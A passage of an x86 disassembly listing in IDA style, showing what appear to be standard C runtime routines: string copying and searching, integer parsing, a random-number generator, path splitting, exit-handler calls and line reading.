		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2710442h
		push	eax
		nop
		call	near ptr 2700BFEh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
